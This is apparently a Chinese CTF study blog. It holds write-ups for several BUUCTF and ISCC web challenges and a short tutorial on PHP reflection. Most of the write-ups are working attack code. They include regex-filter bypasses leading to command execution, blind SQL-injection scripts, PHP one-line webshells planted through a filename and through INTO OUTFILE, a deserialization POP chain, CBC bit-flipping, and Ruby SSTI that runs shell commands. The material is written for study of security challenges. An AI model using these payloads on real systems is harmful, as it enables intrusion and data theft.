preg_replace函数绕过

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

今天利用这道题来整理一下preg_match的绕过姿势
首先我们来看看preg_match的返回值有什么:
1.返回1
2.返回0
3.返回false

设想一下,如果preg_match作为判断条件,用来匹配危险字符,如果匹配到则为1此时我们就被waf掉了,如果是返回错误以及0,这就意味着着我们绕过了!

0篇

接着,我们来看看有什么条件可以使我们匹配到0:
img

根据文档我们可以发现,如果没有s的话,匹配到换行符,preg_match就会停止匹配(preg_match尽力匹配第一行)
利用点:
如果此时在我们的语句前加入一个换行符,那么此时的我们语句将不会被匹配到,前提preg_match模式符中没有添加s。
img
img
img

payload:

{"cmd":"%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A"}

false篇

贪婪与非贪婪模式

贪婪模式:可以这样认为,就是在整个表达式匹配成功的前提下,尽可能多的匹配,也就是所谓的“贪婪”,通俗点讲,就是看到想要的,有多少就捡多少,除非再也没有想要的了。
非贪婪模式:可以这样认为,就是在整个表达式匹配成功的前提下,尽可能少的匹配,也就是所谓的“非贪婪”,通俗点讲,就是找到一个想要的捡起来就行了,至于还有没有没捡的就不管了。

贪婪模式:

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src.*jpg/', $str, $match);
var_dump($match);

输出结果:

array(1) {
[0]=>
string(28) "src="mypic.jpg"/> , goog jpg"
}

因为是贪婪模式,所以这里多数除了一个jpg

非贪婪模式:

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src=".*?\.jpg"/', $str, $match);
var_dump($match);
array(1) {
[0] =>
string(15) "src="mypic.jpg""
}

我们可以通过添加惰性限定符或修饰符进行处理

img

回溯

由于是非贪婪模式,所以有回溯的概念的存在:
举个例子

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src=".*?\.jpg"/', $str, $match);
var_dump($match);

理解一下,大概是这个意思首先.?在这里匹配的是src和.jpg之间的内容,那么匹配的流程是这样的:首先.\?匹配到“=”号,此时=号满足,放入备选录当中,接下来将匹配控制权交给jpg,发现这个=号不满足,于是回溯给.*?让它匹配了,所以最终结果就是src=”mypic.jpg”

次数限制

回溯也不是想回多少次就回多少次,

在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。
img
如上所示,当我们超过回溯次数,此时返回的就是false

演示:

<?php
$data = '<?php phpinfo();aaaaa'.str_repeat(' ',1000000);
$a=preg_match('/<\?.*[(`;?>].*/is', $data,$data1);
print_r($a);
print_r($data1);
Array
(
)

此时就匹配不到了
脚本:

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","a":"' + "a"*(1000000) + '"}'
res = requests.post("http://c7f06821-9d9b-468e-9f9f-21c3454d5c7d.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

https://www.liuhaolin.com/php/195.html
https://blog.csdn.net/phpfenghuo/article/details/17316645

buuctf15

[WUSTCTF2020]颜值成绩查询

这题sql注入,过滤了空格测试语句

1/**/and/**/1=1
1/**/and/**/1=2

盲注:需要写脚本=:
构造payload:

1/**/and/**/substr(database(),1,1)='1'--

学习一下使用二分法进行爆破

import requests
url="http://b2b3ad31-796e-489d-8ad3-3dc8c3fc8257.node3.buuoj.cn/?stunum="
s=requests.session()
database=""
for i in range(1,10000):
low =32
high=128
mid=(low+high)//2
while(low<high):
#payload_1=f"1/**/and/**/ascii(substr(database(),{i},1))>{mid}"
#payload_2=f"1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),{i},1))>{mid}"
#payload_3=f"1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{i},1))>{mid}"
payload_4= f"1/**/and/**/ascii(substr((select/**/value/**/from/**/flag),{i},1))>{mid}"
if "Hi admin" in s.get(url+payload_4).text:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32 or mid==132):
break
database +=chr(mid)
print(database)
print(database)

二分法快了不是一倍两倍– 真的超级快==

[BSidesCF 2019]Kookie

让我们以admin的方式登录,并且提示cookie,所以我就在cookie里添加,username=admin,就可以拿到flag了

[FBCTF2019]RCEService

输入json类型数据:
https://www.cnblogs.com/skysoot/archive/2012/04/17/2453010.html

测试

{"cmd":"ls"}//有回显

然后想cat却不行,应该是有过滤==,然后去看了一下wp,说是比赛的时候有源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

确实是过滤了很多内容

考点分析一下:

1.如何绕过过滤?
绕过preg_match方法有两种:
(1).preg_match会去努力的去匹配第一行,所以我们可以利用多行的方式进行绕过:

POST:
cmd={
"cmd":"/bin/cat%20/home/rceservice/flag"
}

也可以直接加一个**%0A**这个也是代表换行符
(2).利用PCRE回溯绕过
脚本

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","a":"' + "a"*(1000000) + '"}'
res = requests.post("http://c7f06821-9d9b-468e-9f9f-21c3454d5c7d.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

2.为什么我们无法使用cat命令?
putenv(‘PATH=/home/rceservice/jail’)根据这行源码,读出jail应用于当前环境,我们能使用ls应该是 jali包含了执行二进制文件,所以我们可以直接拉出cat的路径:

{"cmd": "
/bin/cat /home/rceservice/flag
"}

注意:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

通过以上成功拿到flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

image.php.bak源码泄露:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

首先进行绕过,这里测试一下绕过语句:

select * from images where id='' or path='';
<?php
$id="\\0";
$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
print($id);
\

可见当我们输入\\0的时候最终的结果是\逃逸出来了,设想一下,如果我们在id输入这个,那么久会变成

select * from images where id='\' or path='';
此时后面那个单引号被转义,变成是id=\' or path='
如果我们在path后插入注入语句or 1=1#,将变成
id='\' or path=' or 1=1#'

这里贴一下盲注脚本:

import requests
url = "http://803aae5e-79fb-4520-960c-d67666295f67.node3.buuoj.cn/image.php?id=\\0&path="
s=requests.session()
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(0,100):
high=127
low=32
mid= (low+high) // 2
while(high>low):
if 'JFIF' in s.get(url+payload.format(i,mid)).text:
low=mid+1
else:
high=mid
mid=(low+high)//2
result +=chr(mid)
print(result)

跑出账号密码,登陆以后发现可以上传文件:
随便上传了一个内容:

I logged the file name you uploaded to logs/upload.d74bd5e2a76d1aa9b34f21ca9e866a8b.log.php. LOL

无法上传php文件
img

但是可以发现 我们存入的文件名都出现在了这个php文件当中
如果我们传入一句话木马文件名,那么就会被这个php解析了

由于php被过滤了,所以这里我们使用短标签进行绕过:
burp抓包,改文件名为

<?=@eval($_POST['a']);?>

POST数据或者蚁剑连接都行

a=system('cat /flag');

小结

有点久没刷题了、。。罪过,这次也是收获了不少,感觉sql的调试技巧有点遗忘了,直接复制代码会本地测试就行了~

CTF中的php反射

反射是什么?

它是指在PHP运行状态中,扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。

其用途如:自动加载插件,自动生成文档,甚至可用来扩充PHP语言。

PHP反射api由若干类组成,可帮助我们用来访问程序的元数据或者同相关的注释交互。借助反射我们可以获取诸如类实现了那些方法,创建一个类的实例(不同于用new创建),调用一个方法(也不同于常规调用),传递参数,动态调用类的静态方法。

反射api是PHP内建的OOP技术扩展,包括一些类,异常和接口,综合使用他们可用来帮助我们分析其它类,接口,方法,属性,方法和扩展。这些OOP扩展被称为反射。

平常我们用的比较多的是 ReflectionClass类ReflectionMethod类,例如:

<?php``class` `Person``{``  ``/**``   ``* For the sake of demonstration, we"re setting this private``   ``*/``  ``private` `$_allowDynamicAttributes` `= false;` `  ``/**``   ``* type=primary_autoincrement``   ``*/``  ``protected` `$id` `= 0;` `  ``/**``   ``* type=varchar length=255 null``   ``*/``  ``protected` `$name``;` `  ``/**``   ``* type=text null``   ``*/``  ``protected` `$biography``;` `  ``public` `function` `getId()``  ``{``    ``return` `$this``->id;``  ``}` `  ``public` `function` `setId(``$v``)``  ``{``    ``$this``->id = ``$v``;``  ``}` `  ``public` `function` `getName()``  ``{``    ``return` `$this``->name;``  ``}` `  ``public` `function` `setName(``$v``)``  ``{``    ``$this``->name = ``$v``;``  ``}` `  ``public` `function` `getBiography()``  ``{``    ``return` `$this``->biography;``  ``}` `  ``public` `function` `setBiography(``$v``)``  ``{``    ``$this``->biography = ``$v``;``  ``}``}

一、通过ReflectionClass,我们可以得到Person类的以下信息:

  1. 常量 Contants
  2. 属性 Property Names
  3. 方法 Method Names静态
  4. 属性 Static Properties
  5. 命名空间 Namespace
  6. Person类是否为final或者abstract
  7. Person类是否有某个方法

接下来反射它,只要把类名”Person”传递给ReflectionClass就可以了:

$class` `= ``new` `ReflectionClass(``'Person'``); ``// 建立 Person这个类的反射类 ``$instance` `= ``$class``->newInstanceArgs(``$args``); ``// 相当于实例化Person 类

1)获取属性(Properties):

<?php``$properties` `= ``$class``->getProperties();``foreach` `(``$properties` `as` `$property``)``{``  ``echo` `$property``->getName() . ``"\n"``;``}``// 输出:``// _allowDynamicAttributes``// id``// name``// biography

默认情况下,ReflectionClass会获取到所有的属性,private 和 protected的也可以。如果只想获取到private属性,就要额外传个参数:

$private_properties` `= ``$class``->getProperties(ReflectionProperty::IS_PRIVATE);

可用参数列表:

  • ReflectionProperty::IS_STATIC
  • ReflectionProperty::IS_PUBLIC
  • ReflectionProperty::IS_PROTECTED
  • ReflectionProperty::IS_PRIVATE

通过$property->getName()可以得到属性名。

2)获取注释:

通过getDocComment可以得到写给property的注释。

<?php``foreach` `(``$properties` `as` `$property``)``{``  ``if` `(``$property``->isProtected())``  ``{``    ``$docblock` `= ``$property``->getDocComment();``    ``preg_match(``'/ type\=([a-z_]*) /'``, ``$property``->getDocComment(), ``$matches``);``    ``echo` `$matches``[1] . ``"\n"``;``  ``}``}``// Output:``// primary_autoincrement``// varchar``// text

3)获取类的方法

  • getMethods() 来获取到类的所有methods。
  • hasMethod(string) 是否存在某个方法
  • getMethod(string) 获取方法

4)执行类的方法:

$instance``->getName(); ``// 执行Person 里的方法getName``// 或者:``$method` `= ``$class``->getmethod(``'getName'``); ``// 获取Person 类中的getName方法``$method``->invoke(``$instance``);       ``// 执行getName 方法``// 或者:``$method` `= ``$class``->getmethod(``'setName'``); ``// 获取Person 类中的setName方法``$method``->invokeArgs(``$instance``, ``array``(``'snsgou.com'``));

二、通过ReflectionMethod,我们可以得到Person类的某个方法的信息:

  1. 是否“public”、“protected”、“private” 、“static”类型
  2. 方法的参数列表
  3. 方法的参数个数
  4. 反调用类的方法
<?php``// 执行detail方法 $method`= new ReflectionMethod('Person', 'test');``if` `(``$method``->isPublic() && !$method->isStatic())``{``  ``echo` `'Action is right'``;``}``echo` `$method``->getNumberOfParameters(); ``// 参数个数``echo` `$method``->getParameters(); ``// 参数对象数组

ISCCweb题解

前言:

web的题大都做过类似的了,所以比较简单。。但是没想到难的题目都在杂项,开始后悔寒假没多学点杂项了。。。

web1——ISCC客服冲冲冲(一)

F12审查元素,将对面那个客服的voting给删掉,然后它的票就不会增加了,

web2——这是啥

jsfuck代码,直接F12运行一下就能拿到FLAG

web3——正则匹配

<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

源码如上,首先要字母和数字,然后有个位数限制,并且要数值需要大于9999999,采用科学技术法进行绕过
payload:

6e8*-*

web4——登录

反序列化字符串逃逸就不说了

web5——which is the true iscc

查看源码:
img

<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

忘记保存了,重新复述一下吧审计完以后,可以知道我们的目的是执行system指令——》需要更改session[name]的值——》需要upload里面变量覆盖

难点:
1.每个类的wakeup函数都重新定义了session[name],调用每个类的时候,肯定会使用到wakeup,如果当我们的session[name]刚被赋值完iscc…..就被赋值回去了,那就没用了,所以我们需要进行绕过
2.由于里面有protect变量,所以也需要绕过waf的过滤
解决方案:
1.wakeup的调用顺序是由内向外的,destruct的调用是由外向内的,所以我们以类似的嵌套方式(类似)来调用赋值,利用一个中间变量进行中转,这样及时最后用了wake_up函数也没事,因为我们已经执行完了
2.可以利用大写S来绕过对protected,private等属性的字符检测,也就是将序列化过程中小写s改为大写s,这样后面的内容我们就可以用十六进制进行表示了

POP链构造:

<?php
class ISCC_Upload{
public $x;
public function __construct()
{
$this->x=new ISCC_ResetCMD();
}

}
class ISCC_ResetCMD{
public $x;
protected $new_cmd='cat /flag';
function __construct(){
$this->x = new ISCC_Command;
}
}
class ISCC_Command{

}
$b=new ISCC_Upload();
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize($b));
echo urlencode ($a);
//这个pop链的构造其实有点类似于嵌套,主要是为了绕过wakeup函数
img img

https://github.com/ambionics/phpggc#advanced-enhancements

web——擂台题-easyweb

1'and%0dsubstr((select%0dgroup_concat),1,1)>'0'--%0d
union%0dselect%0d1,"<?php eval($_POST['cmd']);?>"%0dinto outfile%0d'/var/www/html/1.php'

MySQL 5.6 及以上版本存在innodb_index_statsinnodb_table_stats两张表,其中包含新建立的库和表

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

在MySQL 5.7.9中sys中新增了一些视图,可以从中获取表名

//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();

//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();

//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

包含之前查询记录的表

SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();

包含之前查询记录的表

SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();

包含表文件路径的表

SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

使用union select

select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1

//无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;

盲注

((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))

要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary
这里只能使用concat将字符型和binary拼接,使之大小写敏感,JSON也可以使用char byte代替

mysql 8.0.19新增语句table
https://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t,和select的区别在于

  • table总是显示表的所有列
  • table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。
    可以用来盲注表名
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#

同时代替select被过滤导致只能同表查询的问题

PS:新增的values语句也挺有意思,在某些情况似乎可以代替unionselect进行order by盲注

学习链接:https://www.cnblogs.com/20175211lyz/p/12358725.html

解题过程

一开始听说绝对路径var/www/html然后发现读取文件的权限很高,想说直接读读源码,发现不行,于是尝试尝试自己找找绝对路径:
包含根目录路径的文件:

/etc/apache2/sites-enabled/000-default.conf
import requests
url="http://39.96.91.106:5001/?id="
s=requests.session()
database=""
for i in range(1,10000):
low =0
high=264
mid=(low+high)//2
while(low<high):
#payload_1=f"1/**/and/**/ascii(substr(database(),{i},1))>{mid}"
#payload_2=f"1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),{i},1))>{mid}"
#payload_3=f"1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{i},1))>{mid}"
#payload_4= f"1/**/and/**/ascii(substr((select/**/value/**/from/**/flag),{i},1))>{mid}"
#payload_1=f"1'and%0dascii(substr((selselectect%0dgroup_concat(table_name)%0dfrom%0dmysql.innodb_table_stats%0dwhere%0ddatabase_name%0d=database()),{i},1))>{mid}--%0d"//iscc_flag
payload_3=f"1'and%0dascii(substr((selselectect%0dload_file('/etc/apache2/sites-enabled/000-default.conf')),{i},1))>{mid}--%0d"
payload_4 = f"1'and%0dascii(substr((selselectect%0dload_file('/var/www/const')),{i},1))>{mid}--%0d"

# print(s.get(url+payload_1).text)
# print(payload_1)
if "Your Login name" in s.get(url+payload_3).text:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==0 or mid==264):
break
database +=chr(mid)
print(database)
print(database)

web——ISCC客服一号冲冲冲(二)

这题的考点在于CBC字节翻转攻击:
思路:他让我们登录,但是没有窗口,所以这里我们就自己post一个username和password,然后再burp回文里看到一个iv,一个cipher,想到以前做过的CBC字节翻转攻击,接下来就没啥区别了,唯一的不同的是password是客服题第一题的flag,需要替换一下,这里就贴一下脚本,具体的可以去之前的文章找找:

import base64
import urllib

cipher="iThCcXSm90cuwxnw1KtfJqk%2Bled1cE%2Ba3xQh7UfgNovfWzCFOGmuryqdECjX1RqcLNv7ybOCRfXJBbokBfS4oKc5MnoFTbBfn5zTFdthy3E%3D"
iv="dlp0Txccz%2Fba%2Fw0qSQGVjw%3D%3D"

cipher_de=base64.b64decode(urllib.unquote(cipher))
tran='a:2:{s:8:"username";s:5:"bdmin";s:d";s:15:"1SCC_2o2l_KeFuu"}8:"passwor'

#tran[16:32]=me";s:5:"bdmin";

cipher_new=cipher_de[0:9]+chr(ord(cipher_de[9])^ord('b')^ord('a'))+cipher_de[10:]
cipher_new=urllib.quote(base64.b64encode(cipher_new))
print(cipher_new)
cipher_new=base64.b64decode('GgadNOlPvXYl8SxK+NWkK21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=')
print(cipher_new)
iv_raw=base64.b64decode(urllib.unquote(iv))
iv_new=''
for i in range(0,16):
#
iv_new+=chr(ord(tran[i])^ord(iv_raw[i])^ord(cipher_new[i]))
iv_new=urllib.quote(base64.b64encode(iv_new))
print(iv_new)

web——Explore Ruby

一开始没注意到有提示说demo是可以登陆的,就在尝试伪造cookie(太菜了),然后登录后,发现存在ssti注入
img
尝试了一下 发现是slim的ruby注入

#{7*7}

尝试读取继承,发现没有什么有用的内容,但是发现()等内容被过滤了,于是寻找替代品

[:to_json, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :instance_of?, :kind_of?, :is_a?, :tap, :instance_variable_get, :public_methods, :instance_variables, :method, :public_method, :define_singleton_method, :singleton_method, :public_send, :extend, :to_enum, :enum_for, :pp, :gem, :<=>, :===, :=~, :!~, :eql?, :respond_to?, :freeze, :inspect, :object_id, :send, :to_s, :display, :nil?, :hash, :class, :singleton_class, :clone, :dup, :yield_self, :itself, :tainted?, :taint, :untrust, :untaint, :trust, :untrusted?, :methods, :frozen?, :singleton_methods, :protected_methods, :private_methods, :!, :equal?, :instance_eval, :==, :instance_exec, :!=, :__id__, :__send__]
[:to_json, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :instance_of?, :kind_of?, :is_a?, :tap, :instance_variable_get, :public_methods, :instance_variables, :method, :public_method, :define_singleton_method, :singleton_method, :public_send, :extend, :to_enum, :enum_for, :pp, :gem, :<=>, :===, :=~, :!~, :eql?, :respond_to?, :freeze, :inspect, :object_id, :send, :to_s, :display, :nil?, :hash, :class, :singleton_class, :clone, :dup, :yield_self, :itself, :tainted?, :taint, :untrust, :untaint, :trust, :untrusted?, :methods, :frozen?, :singleton_methods, :protected_methods, :private_methods, :!, :equal?, :instance_eval, :==, :instance_exec, :!=, :__id__, :__send__]
object:47312658352300

以上均为类继承读到的无用信息,发现几篇文章:
https://blog.csdn.net/watkinsong/article/details/7968550
https://www.huaweicloud.com/articles/b5b475ca729307885cd91f03c46d4826.html

其中让人感兴趣的就是%x可以执行shell命令:
虽然中括号被过滤,但是
https://qastack.cn/programming/665576/what-are-those-pipe-symbols-for-in-ruby

可以利用管道符||进行绕过,构造payload:

#{%x|ls|}//执行了系统命令
#Gemfile
Gemfile.lock
database.db
public
vendor
views
webserver.rb
}

使用cat命令即可查看源码:

configure do
set :public_folder, 'public'
set :views, 'views'
set :bind, '0.0.0.0'
set :port, 9999
enable :sessions
set :server, %w[thin webrick]
set :environment, :production
#set :environment, :development
#disable :protection
set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85'
end

get '/home' do
authenticate!
@user = session[:username]
@flag = ENV['FLAG'] if session[:role] == 'admin'
slim :home
end

关键在这里,所以我们需要伪造admin cookie

require "net/http"
require "uri"
require 'pp'
require 'base64'
require 'digest/sha1'
require 'faraday'

# Remote host
def generate_hmac(data, secret)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end

# URL = "http://39.96.91.106:8230/login"

